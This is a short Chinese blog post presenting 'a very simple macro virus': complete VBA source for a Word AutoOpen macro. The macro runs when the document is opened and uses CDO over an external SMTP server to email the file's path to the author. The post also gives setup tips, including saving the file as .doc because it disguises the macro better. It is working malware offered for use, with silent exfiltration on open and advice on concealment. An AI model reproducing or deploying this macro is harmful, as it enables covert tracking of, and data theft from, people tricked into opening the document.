十分简单的宏病毒


title: 十分简单的宏病毒
date: 2019-04-14
categories: security
tags: 宏

功能是发送邮件,内容为对方打开这个文件的路径。

用了ActiveDocument.FullName获取当前文档的path。

不知道为什么Dim mail As New CDO.Message 会报错

改用Set cm = CreateObject("CDO.Message")

同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg

注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。

另外编辑完成后提示doc不支持宏,所以改为docm格式。 (docm即为支持宏的docx文件。若直接采用doc文件也可,伪装效果也更好)

另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库

代码

Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")


Set cm = CreateObject("CDO.Message")
cm.From = "xxxx@163.com"
cm.To = "yyyy@qq.com"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
    .Item(stUl & "smtpserver") = "smtp.163.com"         'SMTP服务器地址
    .Item(stUl & "smtpserverport") = 25                  'SMTP服务器端口
    .Item(stUl & "sendusing") = 2                        '发送端口
    .Item(stUl & "smtpauthenticate") = 1      '需要提供用户名和密码,0是不提供           '
    .Item(stUl & "sendusername") = "xxxx"                '发送方邮箱名称
    .Item(stUl & "sendpassword") = "xxxx"                  '发送方邮箱密码
    .Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub

原文地址:https://www.cnblogs.com/lqerio/p/13484426.html